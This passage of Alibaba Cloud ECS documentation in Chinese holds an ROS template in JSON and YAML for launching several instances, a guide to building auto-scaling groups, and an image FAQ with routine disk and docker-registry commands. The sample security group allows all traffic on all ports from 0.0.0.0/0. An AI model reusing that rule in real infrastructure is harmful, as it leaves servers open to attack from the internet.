            "Description": "可用区是指在同一地域内,电力和网络互相独立的物理区域。在同一专有网络内可用区与可用区之间内网互通,可用区之间能做到故障隔离。",
            "Label": "可用区"
          },
          "SystemDiskSize": {
            "Type": "Number",
            "Description": "系统盘大小,40 - 500, 单位:GB",
            "Label": "系统盘",
            "Default": 100
          },
          "PublicIP": {
            "Type": "Boolean",
            "Description": "是否分配公网IP",
            "Label": "分配公网IP",
            "Default": true
          },
          "ECSAmount": {
            "Type": "String",
            "Label": "ECS实例数量",
            "Default": "3"
          },
          "ImageId": {
            "Type": "String",
            "Description": "镜像ID, 表示要启动一个ECS实例的镜像资源, <a href='#/product/cn-hangzhou/list/imageList' target='_blank'>查看镜像资源</a>",
            "Label": "ECS镜像ID",
            "Default": "centos_7"
          },
          "DiskSize": {
            "Type": "String",
            "Description": "数据盘大小, 单位:GB",
            "Label": "数据盘",
            "Default": "900"
          },
          "InstanceNamePrefix": {
            "Type": "String",
            "Description": "2-128个字符,以大小写英文或中文开头,可包含数字、下划线(_)、点(.)或连字符(-)。",
            "Label": "实例名称",
            "MinLength": 2,
            "MaxLength": 128,
            "Default": "Instance"
          },
          "HostNamePrefix": {
            "Type": "String",
            "Description": "2-64个字符,允许使用点(.)分隔成多段,每段允许使用大小写字母、数字或连字符(-),但不能连续使用点(.)或连字符(-),不能以点(.)或连字符(-)开头或结尾。",
            "Label": "主机名",
            "MinLength": 2,
            "MaxLength": 64,
            "Default": "Host"
          },
          "DiskCategory": {
            "Type": "String",
            "Description": "数据盘类型",
            "AllowedValues": [
              "cloud",
              "cloud_efficiency",
              "cloud_ssd",
              "ephemeral_ssd"
            ],
            "Label": "数据盘类型",
            "Default": "cloud_efficiency"
          },
          "InstanceType": {
            "Type": "String",
            "Description": "ECS实例类型, <a href='#/product/cn-hangzhou/list/typeList' target='_blank'>查看实例类型</a>",
            "AllowedValues": [
              "ecs.g5.large",
              "ecs.c5.large",
              "ecs.g5.xlarge",
              "ecs.c5.xlarge"
            ],
            "Label": "ECS实例类型",
            "Default": "ecs.c5.large"
          },
          "SystemDiskCategory": {
            "Type": "String",
            "Description": "系统盘类型",
            "AllowedValues": [
              "cloud",
              "cloud_efficiency",
              "cloud_ssd",
              "ephemeral_ssd"
            ],
            "Label": "系统盘类型",
            "Default": "cloud_ssd"
          },
          "LoginPassword": {
            "NoEcho": true,
            "Type": "String",
            "Description": "ECS登录密码",
            "AllowedPattern": "[a-zA-Z0-9-\(\)\`\~\!@\#\$%\^&\*-+=\|\{\}\[\]\:\;\‘\,\.\?\/]*",
            "Label": "ECS登录密码",
            "Confirm": true,
            "MinLength": 8,
            "MaxLength": 30
          }
        },
        "Resources": {
          "VSwitch": {
            "Type": "ALIYUN::ECS::VSwitch",
            "Properties": {
              "VpcId": {
                "Ref": "VPC"
              },
              "ZoneId": {
                "Ref": "ZoneId"
              },
              "CidrBlock": "192.168.0.0/24",
              "VSwitchName": "MyVsw"
            }
          },
          "SG": {
            "Type": "ALIYUN::ECS::SecurityGroup",
            "Properties": {
              "VpcId": {
                "Ref": "VPC"
              },
              "SecurityGroupName": "MySG",
              "SecurityGroupIngress": [
                {
                  "PortRange": "-1/-1",
                  "Priority": 1,
                  "SourceCidrIp": "0.0.0.0/0",
                  "IpProtocol": "all",
                  "NicType": "internet"
                }
              ],
              "SecurityGroupEgress": [
                {
                  "PortRange": "-1/-1",
                  "Priority": 1,
                  "IpProtocol": "all",
                  "DestCidrIp": "0.0.0.0/0",
                  "NicType": "intranet"
                }
              ]
            }
          },
          "ECS": {
            "Type": "ALIYUN::ECS::InstanceGroup",
            "Properties": {
              "IoOptimized": "optimized",
              "PrivateIpAddress": "192.168.0.1",
              "DiskMappings": [
                {
                  "Category": {
                    "Ref": "DiskCategory"
                  },
                  "Size": {
                    "Ref": "DiskSize"
                  }
                }
              ],
              "ZoneId": {
                "Ref": "ZoneId"
              },
              "SystemDiskSize": {
                "Ref": "SystemDiskSize"
              },
              "SecurityGroupId": {
                "Ref": "SG"
              },
              "VSwitchId": {
                "Ref": "VSwitch"
              },
              "MaxAmount": {
                "Ref": "ECSAmount"
              },
              "SystemDiskCategory": {
                "Ref": "SystemDiskCategory"
              },
              "InstanceName": {
                "Fn::Join": [
                  "",
                  [
                    {
                      "Ref": "InstanceNamePrefix"
                    },
                    "[1,3]"
                  ]
                ]
              },
              "VpcId": {
                "Ref": "VPC"
              },
              "MinAmount": {
                "Ref": "ECSAmount"
              },
              "ImageId": {
                "Ref": "ImageId"
              },
              "AllocatePublicIP": {
                "Ref": "PublicIP"
              },
              "InstanceType": {
                "Ref": "InstanceType"
              },
              "HostName": {
                "Fn::Join": [
                  "",
                  [
                    {
                      "Ref": "HostNamePrefix"
                    },
                    "[1,3]"
                  ]
                ]
              },
              "Password": {
                "Ref": "LoginPassword"
              }
            }
          },
          "VPC": {
            "Type": "ALIYUN::ECS::VPC",
            "Properties": {
              "CidrBlock": "192.168.0.0/16",
              "VpcName": "MyVPC"
            }
          }
        },
        "Outputs": {
          "ECS实例ID": {
            "Value": {
              "Fn::GetAtt": [
                "ECS",
                "InstanceIds"
              ]
            }
          },
          "公网IP": {
            "Value": {
              "Fn::GetAtt": [
                "ECS",
                "PublicIps"
              ]
            }
          }
        }
      }

      YAML格式模板

      ROSTemplateFormatVersion: '2015-09-01'
      Description: 创建多台ECS实例
      Metadata:
        'ALIYUN::ROS::Interface':
          ParameterGroups:
            - Parameters:
                - ImageId
                - InstanceType
                - ZoneId
                - LoginPassword
                - ECSAmount
                - DiskSize
                - DiskCategory
                - SystemDiskSize
                - SystemDiskCategory
                - InstanceNamePrefix
                - HostNamePrefix
              Label:
                default: ECS
          TemplateTags:
            - ECS
      Parameters:
        ZoneId:
          AssociationProperty: 'ALIYUN::ECS::Instance:ZoneId'
          Type: String
          Description: 可用区是指在同一地域内,电力和网络互相独立的物理区域。在同一专有网络内可用区与可用区之间内网互通,可用区之间能做到故障隔离。
          Label: 可用区
        SystemDiskSize:
          Type: Number
          Description: '系统盘大小,40 - 500, 单位:GB'
          Label: 系统盘
          Default: 100
        PublicIP:
          Type: Boolean
          Description: 是否分配公网IP
          Label: 分配公网IP
          Default: true
        ECSAmount:
          Type: String
          Label: ECS实例数量
          Default: '3'
        ImageId:
          Type: String
          Description: "镜像ID, 表示要启动一个ECS实例的镜像资源, <a href='#/product/cn-hangzhou/list/imageList' target='_blank'>查看镜像资源</a>"
          Label: ECS镜像ID
          Default: centos_7
        DiskSize:
          Type: String
          Description: '数据盘大小, 单位:GB'
          Label: 数据盘
          Default: '900'
        InstanceNamePrefix:
          Type: String
          Description: 2-128个字符,以大小写英文或中文开头,可包含数字、下划线(_)、点(.)或连字符(-)。
          Label: 实例名称
          MinLength: 2
          MaxLength: 128
          Default: Instance
        HostNamePrefix:
          Type: String
          Description: 2-64个字符,允许使用点(.)分隔成多段,每段允许使用大小写字母、数字或连字符(-),但不能连续使用点(.)或连字符(-),不能以点(.)或连字符(-)开头或结尾。
          Label: 主机名
          MinLength: 2
          MaxLength: 64
          Default: Host
        DiskCategory:
          Type: String
          Description: 数据盘类型
          AllowedValues:
            - cloud
            - cloud_efficiency
            - cloud_ssd
            - ephemeral_ssd
          Label: 数据盘类型
          Default: cloud_efficiency
        InstanceType:
          Type: String
          Description: "ECS实例类型, <a href='#/product/cn-hangzhou/list/typeList' target='_blank'>查看实例类型</a>"
          AllowedValues:
            - ecs.g5.large
            - ecs.c5.large
            - ecs.g5.xlarge
            - ecs.c5.xlarge
          Label: ECS实例类型
          Default: ecs.c5.large
        SystemDiskCategory:
          Type: String
          Description: 系统盘类型
          AllowedValues:
            - cloud
            - cloud_efficiency
            - cloud_ssd
            - ephemeral_ssd
          Label: 系统盘类型
          Default: cloud_ssd
        LoginPassword:
          NoEcho: true
          Type: String
          Description: ECS登录密码
          AllowedPattern: "[a-zA-Z0-9-\(\)\`\~\!@\#\$%\^&\*-+=\|\{\}\[\]\:\;\‘\,\.\?\/]*"
          Label: ECS登录密码
          Confirm: true
          MinLength: 8
          MaxLength: 30
      Resources:
        VSwitch:
          Type: 'ALIYUN::ECS::VSwitch'
          Properties:
            VpcId:
              Ref: VPC
            ZoneId:
              Ref: ZoneId
            CidrBlock: 192.168.0.0/24
            VSwitchName: MyVsw
        SG:
          Type: 'ALIYUN::ECS::SecurityGroup'
          Properties:
            VpcId:
              Ref: VPC
            SecurityGroupName: MySG
            SecurityGroupIngress:
              - PortRange: '-1/-1'
                Priority: 1
                SourceCidrIp: 0.0.0.0/0
                IpProtocol: all
                NicType: internet
            SecurityGroupEgress:
              - PortRange: '-1/-1'
                Priority: 1
                IpProtocol: all
                DestCidrIp: 0.0.0.0/0
                NicType: intranet
        ECS:
          Type: 'ALIYUN::ECS::InstanceGroup'
          Properties:
            IoOptimized: optimized
            PrivateIpAddress: 192.168.0.1
            DiskMappings:
              - Category:
                  Ref: DiskCategory
                Size:
                  Ref: DiskSize
            ZoneId:
              Ref: ZoneId
            SystemDiskSize:
              Ref: SystemDiskSize
            SecurityGroupId:
              Ref: SG
            VSwitchId:
              Ref: VSwitch
            MaxAmount:
              Ref: ECSAmount
            SystemDiskCategory:
              Ref: SystemDiskCategory
            InstanceName:
              'Fn::Join':
                - ''
                - - Ref: InstanceNamePrefix
                  - '[1,3]'
            VpcId:
              Ref: VPC
            MinAmount:
              Ref: ECSAmount
            ImageId:
              Ref: ImageId
            AllocatePublicIP:
              Ref: PublicIP
            InstanceType:
              Ref: InstanceType
            HostName:
              'Fn::Join':
                - ''
                - - Ref: HostNamePrefix
                  - '[1,3]'
            Password:
              Ref: LoginPassword
        VPC:
          Type: 'ALIYUN::ECS::VPC'
          Properties:
            CidrBlock: 192.168.0.0/16
            VpcName: MyVPC
      Outputs:
        ECS实例ID:
          Value:
            'Fn::GetAtt':
              - ECS
              - InstanceIds
        公网IP:
          Value:
            'Fn::GetAtt':
              - ECS
              - PublicIps

      说明 您可以使用本文提供的模板,在任意地域创建资源栈。如果在创建模板时报错,请选择其它可用区或实例类型。

      ]]> 基于ECS实例创建伸缩组_部署与弹性_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 基于ECS实例创建伸缩组

      更新时间:2020-04-17 15:21:46

      本页目录

      如果您的业务负载经常有临时波动或者有固定的扩缩容需求,建议您通过弹性伸缩的伸缩组来实现自动扩缩容。基于已有ECS实例创建伸缩组后,系统会根据业务情况自动添加或减少一组具有相同配置的ECS实例。

      前提条件

      • 如果需要为伸缩组关联负载均衡实例,请确保满足以下条件:
        • 您持有一个或多个处于运行中状态的负载均衡实例,具体操作请参见创建负载均衡实例
        • 负载均衡实例和伸缩组必须位于同一地域。
        • 如果负载均衡实例和伸缩组的网络类型均为专有网络,则必须位于同一专有网络。
        • 当负载均衡实例的网络类型为经典网络,伸缩组的网络类型为专有网络时,如果负载均衡实例的后端服务器组中包含专有网络ECS实例,该ECS实例必须与伸缩组位于同一专有网络。
        • 负载均衡实例配置至少一个监听,具体操作请参见监听概述
        • 负载均衡实例必须开启健康检查,具体操作请参见配置健康检查
      • 如果需要为伸缩组关联RDS实例,请确保满足以下条件:
        • 您持有一个或多个处于运行中状态的RDS实例,具体操作请参见什么是云数据库RDS
        • RDS实例和伸缩组必须位于同一地域。

      背景信息

      在基于ECS实例创建伸缩组时,不限制ECS实例的计费方式,包年包月实例、按量付费实例、抢占式实例均可以作为伸缩配置来源。

      伸缩组创建完成后,支持自动创建ECS实例和手动添加已有ECS实例。自动创建ECS实例时,只支持按量付费、抢占式实例两种计费方式,但手动添加已有ECS实例时不限制计费方式。

      更多伸缩组使用限制信息,请参见使用限制

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏左上角处,选择地域。
      4. 找到用作伸缩配置来源ECS实例,在操作区域,单击更多 > 部署与弹性 > 新建弹性伸缩
      5. 创建伸缩组页面,查看伸缩配置来源。

        基于一台ECS实例创建伸缩组时,系统自动设置来源类型并选择该ECS实例,无需修改。

      6. 设置伸缩组基本信息。
        1. 填写伸缩组名称。
        2. 填写组内实例数。

          数量类型 说明
          组内最大实例数 当前ECS实例数量超过上限时,弹性伸缩会自动移出ECS实例,使得伸缩组内的ECS实例数量等于上限。
          组内最小实例数 当前ECS实例数量低于下限时,弹性伸缩会自动添加ECS实例,使得伸缩组内的ECS实例数量等于下限。
          组内期望实例数 伸缩组会自动将ECS实例数量维持在期望实例数,更多说明请参见期望实例数

        3. 填写默认冷却时间。

          单位为秒,伸缩组发生伸缩活动后的默认冷却时间。在冷却时间内,伸缩组会拒绝由云监控报警任务触发的伸缩活动请求,但其他类型任务触发的伸缩活动可以绕过冷却时间立即执行,例如手动执行任务、定时任务。

        4. 可选: 选择实例移出策略。

          当需要从伸缩组移出ECS实例并且有多种选择时,按该策略选择需要移出的ECS实例,支持两段设置。如果按策略筛选后仍有多台ECS实例满足要求,则随机移出一台。
          设置类型 设置选项 说明
          第一段设置 最早伸缩配置对应的实例 此处伸缩配置泛指组内实例配置信息来源,包括伸缩配置和启动模板。

          筛选添加时间最早的伸缩配置和启动模板对应的实例。手动添加的实例没有关联伸缩配置或启动模板,因此不会首先选出手动添加的实例。如果已移出全部关联的实例,仍需要继续移出实例,则随机移出手动添加的实例。

          启动模板的版本号低不代表添加时间早,例如在创建伸缩组时选择实例启动模板lt-foress的版本2,然后修改伸缩组,选择实例启动模板lt-foress的版本1,则对伸缩组来说,启动模板lt-foress的版本2是最早的。

          最早创建的实例 筛选创建时间最早的实例。
          最新创建的实例 筛选创建时间最新的实例。
          第二段设置 无策略 不进行第二段筛选。
          最早创建的实例 在第一段筛选出的实例中,再筛选创建时间最早的实例。
          最新创建的实例 在第一段筛选出的实例中,再筛选创建时间最新的实例。

          默认先筛选最早伸缩配置对应的实例,在结果中再筛选并移出最早创建的实例。

        5. 可选: 设置伸缩组删除保护。

          开启伸缩组保护后,您不能在控制台或者通过API删除该伸缩组,有效避免误删除伸缩组。

        6. 添加标签。

          添加标签便于搜索和聚合伸缩组,更多标签介绍请参见标签概述

      7. 完成组内实例扩缩容配置。
        1. 查看网络类型。

          注意 请保持自动选择的网络类型,手动选择不同的网络类型会导致伸缩组创建失败。

          网络类型 说明
          专有网络
          • 创建伸缩配置时,只能选择支持专有网络的实例规格。
          • 手动添加已有ECS实例时,只能选择同一专有网络中的实例。
          经典网络
          • 创建伸缩配置时,只能选择支持经典网络的实例规格。
          • 手动添加已有ECS实例时,只能选择经典网络实例。

        2. 可选: 如果网络类型为专有网络,配置专有网络相关选项。

          • 专有网络

            说明 请保持自动选择的专有网络,手动选择不同的专有网络会导致伸缩组创建失败。

          • 交换机

            一个交换机只能属于一个可用区,您可以指定多个属于不同可用区的交换机,从而达到多可用区的效果。多可用区可以规避单可用区库存不足的风险,提高扩容成功率。

          • 多可用区扩缩容策略

            注意 伸缩组创建完成后,不支持修改多可用区扩缩容策略。

            策略名称 说明
            优先级策略 先选择的交换机优先级高。当伸缩组无法在优先级较高的交换机所在可用区创建ECS实例时,会自动使用下一优先级的交换机创建ECS实例。
            均衡分布策略 在伸缩组关联多个交换机且交换机分布在两个以上可用区时生效,支持在交换机所在的可用区之间均衡分布ECS实例。如果由于库存不足等原因导致可用区之间ECS实例的数量不均衡,您可以执行再均衡分布操作来平衡ECS实例的分布情况,具体操作请参见ECS实例再均衡分布
            成本优化策略 在伸缩配置中指定了多个可选实例规格时生效,按vCPU单价从低到高尝试创建ECS实例。

            如果伸缩配置中计费方式选择抢占式实例,优先创建抢占式实例。由于库存等原因无法创建各实例规格的抢占式实例时,再自动尝试创建按量付费实例。

            如果您选择成本优化策略,还可以设置以下参数启用混合实例功能:
            混合实例选项 说明
            组内最小按量实例数 伸缩组所需按量付费ECS实例的最小台数,默认为0台。如果伸缩组内的按量付费ECS实例的台数小于该值,将优先创建按量付费实例。
            按量实例所占比例 自动创建ECS实例时按量付费实例所占的比例,默认为70%。计算该值时,不包括组内最小按量实例数对应的台数。
            最低价的多个实例规格 价格最低的实例规格的个数,默认为1个。在伸缩配置中指定了多个可选实例规格时生效。创建抢占式实例时,弹性伸缩会在价格最低的几个实例规格之间均衡创建ECS实例。
            是否开启抢占式实例补偿 开启抢占式实例补偿后,在抢占式实例被回收前5分钟,弹性伸缩会主动创建新的抢占式实例,并替换掉将被回收的抢占式实例。

          • 实例回收模式

            注意 伸缩组创建完成后,不支持修改实例回收模式。

            模式名称 说明
            释放模式 在弹性收缩时自动释放合适数量的ECS实例,在弹性扩张时创建新的ECS实例加入伸缩组。
            停机回收模式 使用停机回收模式可以提高扩缩容的效率。

            在弹性收缩时,自动创建的ECS实例将进入停机不收费状态。ECS处于停机不收费状态时,vCPU、内存和固定公网IP被回收,因此vCPU、内存和固定公网带宽不再收费,但是云盘、弹性公网IP等资源仍然保留并收费,更多信息请参见按量付费实例停机不收费。这些处于停机不收费状态ECS实例形成了停机实例池。

            说明 如果ECS实例进入停机不收费状态前有固定公网IP,重新启动时会重新分配一个固定公网IP,但可能发生变化。

            在弹性扩张时,停机实例池内的ECS实例会优先进入运行中状态,在停机实例池内ECS实例数量不足以满足需求时,会继续自动创建新的ECS实例。

            弹性扩张时,停机实例池内ECS实例不能保证成功进入运行中状态。如果由于库存等原因,处于停机不收费状态的ECS实例不能进入运行中状态,弹性伸缩会释放这些ECS实例并创建新的ECS实例,保证弹性扩张的结果达到预期。

        3. 可选: 添加已有实例。

          如果同时设置期望实例数并添加已有实例,期望实例数会自动增加。例如,创建伸缩组时设置期望实例数为1,并添加2台已有实例,伸缩组创建完成后,2台已有实例添加至伸缩组,然后期望实例数变为3。

          您可以将已有实例的生命周期托管给伸缩组。

          • 如果选中将实例的生命周期托管给伸缩组复选框,添加的已有实例因处于不健康状态等原因被自动移出伸缩组,或者被手动移出伸缩组时,会被自动释放。
          • 如果清除将实例的生命周期托管给伸缩组复选框,添加的已有实例移出伸缩组时,不会被自动释放。

      8. 可选: 完成高级配置。

        一个伸缩组支持关联的负载均衡实例和RDS实例数量有限,更多信息请参见使用限制

        1. 关联负载均衡实例。

          关联负载均衡实例后,加入伸缩组的ECS实例会自动添加为负载均衡实例的后端服务器。您可以指定ECS实例需要加入的服务器组,支持以下两种服务器组:
          服务器组类型 端口 权重 说明
          默认服务器组 为负载均衡实例配置监听时填写。 默认为50,您也可以在伸缩配置中填写其它权重值。 用来接收前端请求的ECS实例,如果监听没有设置虚拟服务器组或主备服务器组,默认将请求转发至默认服务器组中的ECS实例。
          虚拟服务器组 选择虚拟服务器组时填写。 默认为50,您也可以在选择虚拟服务器组时填写其它权重值。 当您需要将不同的请求转发到不同的后端服务器上时,或需要通过域名和URL进行请求转发时,可以选择使用虚拟服务器组。

          一个伸缩组支持指定多个虚拟服务器组,但是数量有限,更多信息请参见使用限制

          说明 如果您同时指定了默认服务器组和多个虚拟服务器组,ECS实例会同时添加至这些服务器组中。

        2. 关联RDS数据库实例。

          关联RDS实例后,加入伸缩组的ECS实例的内网IP会自动加入RDS实例的访问白名单,允许ECS实例和RDS实例内网通信。

      9. 单击创建伸缩组
      10. 创建伸缩组状态向导对话框,单击查看伸缩组列表

        新创建的伸缩组出现在伸缩组列表中。由于使用已有ECS实例作为组内实例配置信息来源,伸缩组自动创建伸缩配置并进入启用状态。

        • 如果组内最小实例数大于0,弹性伸缩会自动创建ECS实例,使得组内实例数量不小于组内最小实例数。
        • 如果期望实例数大于0,弹性伸缩会自动创建或移出ECS实例,使得组内实例数量始终等于期望实例数。

      后续步骤

      您可以手动将ECS实例添加至或移出伸缩组,或者通过定时任务、报警任务等方式实现自动扩缩容。具体操作请参见:

      ]]> 镜像FAQ_镜像_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 镜像FAQ

      更新时间:2020-04-30 16:59:04

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍云服务器ECS镜像相关的常见问题及解决方案。

      ECS实例选择了镜像后能更换吗?

      可以更换。在ECS控制台,选择更换系统盘,即可选择所需的镜像进行更换。请注意,更换镜像会导致系统盘数据丢失,请在确认更换前做好数据备份。详情请参见更换操作系统

      ECS系统盘是否支持KMS加密,通过Terraform或Packer如何使用?

      • ECS系统盘支持KMS的默认key加密以及BYOK加密。更多详情,请参见加密概述
      • Packer加密功能即将支持。
      • Terraform中通过参数encrypted指定,详情请参见alicloud_disks

      快照和镜像有什么不同?有什么关系?

      快照和镜像的不同如下:

      • 镜像可直接用来创建ECS实例,而快照不可以。
      • 快照可以是ECS实例系统盘或数据盘的数据备份,而镜像一定包含ECS实例系统盘的数据。
      • 快照只能用于当前ECS实例磁盘的数据恢复,而镜像可用于当前ECS实例及其他实例更换系统盘或创建新的ECS实例。
      • 快照不可以跨地域使用。若您需要在其他地域恢复实例数据,可使用自定义镜像,详情请参见复制镜像
      • 应用场景不同。由于您只能使用自定义镜像备份数据,这里仅列举快照和自定义镜像的一些应用场景。

        快照适用场景:

        • 定期数据备份,按照设定的周期,每日、每周或每月自动执行快照策略对数据进行备份。
        • 临时数据备份,例如:
          • 系统更新、应用发布等系统临时变更,为防止操作错误,在执行变更前手工创建快照对系统进行备份。
          • 系统盘扩容前,创建快照备份数据。
          • 磁盘数据迁移,为磁盘创建快照,将磁盘作为另一块磁盘的基础数据。

        自定义镜像适用场景:

        • 备份短期内不会更改的系统,如已经完成发布或更新的应用系统。
        • 使用已经完成安装和配置的系统为模板,创建新的ECS实例,如批量部署应用。
        • 系统及数据迁移,如将经典网络的ECS实例迁移到VPC下。
        • 跨可用区和地域还原系统。

      快照和镜像的关系如下:

      RHEL(Red Hat Enterprise Linux)镜像支持哪些实例规格族?

      以下实例规格族已通过RHEL的认证,对应实例规格族的详情请参见实例规格族

      • ecs.r6(只支持RHEL 7.7及以上版本)
      • ecs.c6(只支持RHEL 7.7及以上版本)
      • ecs.g6(只支持RHEL 7.7及以上版本)
      • ecs.r5
      • ecs.c5
      • ecs.g5
      • ecs.re4
      • ecs.t5
      • ecs.hfc5
      • ecs.hfg5
      • ecs.i2
      • ecs.sn1ne
      • ecs.sn2ne
      • ecs.se1ne
      • ecs.sn1
      • ecs.sn2
      • ecs.se1
      更多详情请参见:

      数据盘的快照是否可以创建自定义镜像?

      创建自定义镜像的快照磁盘属性必须是系统盘,数据盘不能用于创建自定义镜像。

      但是,使用系统盘快照创建自定义镜像时,您可以添加数据盘快照,详情请参见使用快照创建自定义镜像

      如何查看数据盘?

      您可以通过df命令查看数据盘的使用情况,以及文件系统被挂载的位置。例如:df –lh

      您可以通过fdisk命令获取数据盘的分区情况。例如:fdisk -l

      如何卸载(umount)和删除disk table里的数据?

      假设/dev/hda5已经挂载在/mnt/hda5上,您可以使用下列任一命令卸载已挂载的文件系统。

      • umount /dev/hda5
      • umount /mnt/hda5
      • umount /dev/hda5 /mnt/hda5
      /etc/fstab是Linux系统下比较重要的配置文件,其包含了系统在启动时挂载的文件系统和存储设备的详细信息。

      当您不想在启动实例时挂载指定分区,需要删除当前文件中对应的语句行。例如,删除下面的语句可以在启动的时候断开xvdb1

      /dev/xvdb1 /leejd ext4 defaults 0 0

      Linux其他较重要的配置文件如下:
      配置文件 配置说明 修改该配置文件的风险
      /etc/issue*, /etc/*-release, /etc/*_version 系统发行版信息配置文件 修改/etc/issue*会导致系统发行版无法被正常识别,导致系统创建失败。
      /boot/grub/menu.lst, /boot/grub/grub.conf 系统引导启动配置文件 修改/boot/grub/menu.lst会导致内核无法正确加载,导致系统无法启动。
      /etc/fstab 系统启动挂载分区配置文件 修改该文件会导致分区无法被加载,导致系统无法启动。
      /etc/shadow 系统密码相关配置文件 修改该文件为只读会导致无法修改密码文件,导致系统创建失败。
      /etc/selinux/config 系统安全策略配置文件 修改/etc/selinux/config开启SELinux导致系统无法启动。

      如何确认已经卸载数据盘,并可以新建自定义镜像?

      1. 确认/etc/fstab文件中对应的自动挂载数据盘分区语句行已被删除。
      2. 使用mount命令查看所有设备的挂载信息,请确认执行结果中不包含对应的数据盘分区信息。

      实例释放后,自定义镜像是否还存在?

      存在。

      用于创建自定义镜像的实例到期或释放数据后,创建的自定义镜像是否受影响?使用自定义镜像开通的实例是否受影响?

      均不受影响。

      使用自定义镜像创建的实例是否可以更换操作系统?更换系统后原来的自定义镜像是否还可以使用?

      可以。更换后原来的自定义镜像还可以继续使用。

      更换系统盘时另选操作系统,是否可以使用自定义镜像?

      可以,详情请参见更换系统盘(非公共镜像)

      说明 系统盘更换为自定义镜像后,原来的数据将被全覆盖。

      已创建的自定义镜像,是否可以用于更换另一台云服务器ECS的系统盘数据?

      可以。详情请参见更换系统盘(非公共镜像)

      说明 自定义镜像将全部覆盖该服务器系统盘的所有数据。

      是否可以升级自定义镜像开通的云服务器ECS的CPU、内存、带宽、硬盘等?

      均可以升级,详情请参见升降配方式汇总

      是否可以跨地域使用自定义镜像?

      不可以。自定义镜像只能在同一个地域使用。例如:使用华东1地域的实例创建的自定义镜像,不可以直接用来开通华东2地域的云服务器ECS。

      如果您需要跨地域使用自定义镜像,可以先复制镜像到目标地域,请参见复制镜像

      包年包月实例的自定义镜像,是否可以用于创建按量付费的云服务器ECS?

      可以。自定义镜像功能不区分实例的付费方式,即不区分是否包年包月或按量付费。

      使用自定义镜像创建的实例,系统盘自动扩容失败的原因是什么?怎么办?

      使用自定义镜像创建的实例,系统盘自动扩容失败的原因可能是没有安装cloud-init服务、cloud-init服务运行失败或文件系统不支持等。

      系统盘自动扩容失败时,您可以手动扩容。具体步骤,请参见扩展文件系统_Linux系统盘

      创建自定义镜像、ECS实例时为何需要注释挂载项?

      使用自定义镜像创建ECS实例时,以下原因会导致挂载磁盘失败。

      • 创建的ECS实例没有数据盘。
      • 数据盘是新磁盘,还没有进行分区格式化。
      • 创建的自定义镜像中,未注释掉/etc/fstab文件中的磁盘挂载条目。

      下面以ECS实例数据盘未分区,且创建该实例的自定义镜像中未注释掉/etc/fstab中的磁盘挂载条目为例,介绍数据盘挂载失败的原因。

      1. ECS实例数据盘未分区,如下图所示。数据盘未分区
      2. 使用自定义镜像创建的ECS实例中,未注释掉/etc/fstab中的磁盘挂载条目,如下图所示。磁盘挂载条目
      3. 实例启动时,会按照/etc/fstab文件中的配置挂载磁盘,但由于数据盘未分区导致挂载失败,如下图所示。挂载磁盘

      不用注释磁盘挂载条目的情况:一般只有在创建ECS实例时,选择了数据盘且数据盘是通过已分区、已格式化的数据盘快照生成。

      如问题还未解决,请提交工单。

      如何配置并使用Docker私有镜像库?

      镜像管理是Docker的核心,为了满足企业或组织内部分享镜像,Docker官方在Github上建立了一个开源项目docker-registry,专门用于自建Docker的私有镜像库。

      快速启动支持阿里云对象存储OSS的docker-registry:您可以从GitHub下载并安装docker-registry,运行pip install docker-registry-driver-alioss命令,通过pip安装OSS driver。

      1. 运行docker registry。
         docker run -e OSS_BUCKET=-e STORAGE_PATH=/docker/ -e OSS_KEY=-e OSS_SECRET=-p 5000:5000 -d chrisjin/registry:ali_oss
      2. 配置config.yml
         ```local: &local
         <<: *common
         storage: alioss
         storage_path: _env:STORAGE_PATH:/devregistry/
         oss_bucket: _env:OSS_BUCKET[:default_value]
         oss_accessid: _env:OSS_KEY[:your_access_id]
         oss_accesskey: _env:OSS_SECRET[:your_access_key]```
      3. 启动docker-registry。
         DOCKER_REGISTRY_CONFIG=[your_config_path] gunicorn -k gevent -b 0.0.0.0:5000 -w 1 docker_registry.wi:application

      如问题还未解决,请提交工单联系阿里云。

      如何克隆ECS服务器?

      同一账号同一地域下,新购ECS服务器时可以按照以下步骤克隆现有ECS服务器的环境和数据,快速创建相同环境和配置的新ECS实例。

      1. 登录ECS管理控制台
      2. 选择需要克隆的ECS实例,对系统盘和数据盘分别创建快照。具体请参见创建普通快照

        说明 为保证数据一致性,请在实例状态为已停止时创建快照。

      3. 使用系统盘快照创建自定义镜像。创建过程中请选中添加数据盘快照,并单击增加选择并添加已创建的数据盘快照。具体请参见使用快照创建自定义镜像
      4. 使用向导创建实例创建新的ECS实例。在创建过程中,需要注意以下配置:
        • 地域:必须选择与克隆实例相同的地域。
        • 镜像:镜像类型选择自定义镜像,并选择使用系统盘创建的自定义镜像。

          说明 如果您选择的自定义镜像中包含了一个或多个数据盘快照,系统会自动根据这些快照创建相同数量的云盘作为数据盘,每个云盘大小与对应的快照相同。您可以增加云盘容量,但不能缩小。

      此外,您可以使用运维编排服务进行自动化的克隆操作:

      有些自定义镜像不支持创建I/O优化的实例,我该如何操作?

      部分自定义镜像不支持创建I/O优化的实例。如果想要使用这类自定义镜像来创建I/O优化的实例,请提交工单申请(提交工单时,需指定镜像名称)。

      在哪里查看导入镜像的进度?导入镜像需要多少时间?

      在ECS管理控制台的镜像列表页查看导入进度。导入自定义镜像是相对耗时的任务,完成的时间取决于镜像文件的大小和当前导入任务并发数,需要您耐心等待。

      在哪里查看镜像创建进度?创建镜像需要多少时间?

      在ECS管理控制台的镜像列表页查看。镜像制作时间取决于实例磁盘的大小。

      什么情况下需要复制镜像?

      自定义镜像只能在同一个地域使用,不能直接跨地域使用。如果您需要:

      • 将云服务器ECS上的应用部署在多个地域。
      • 将云服务器ECS迁移到其他地域。
      • 跨地域使用自定义镜像。
      可以通过复制镜像解决。您可以复制当前地域的自定义镜像到其他地域的同账号中,在其他地域使用自定义镜像实现一致性部署应用环境。

      可以复制哪些镜像?

      复制镜像只支持自定义镜像。不支持公共镜像,镜像市场镜像和别人共享给您的镜像。

      当前有哪些支持复制镜像功能的地域?

      阿里云所有地域均支持复制镜像功能。

      复制一个镜像大概需要多久?

      复制镜像的时间取决于网络传输速度和任务队列的排队数量。复制镜像需要通过网络把一个地域的可用区中的镜像文件传输到目标地域的可用区,需要您耐心等待。

      复制镜像怎么收费的?

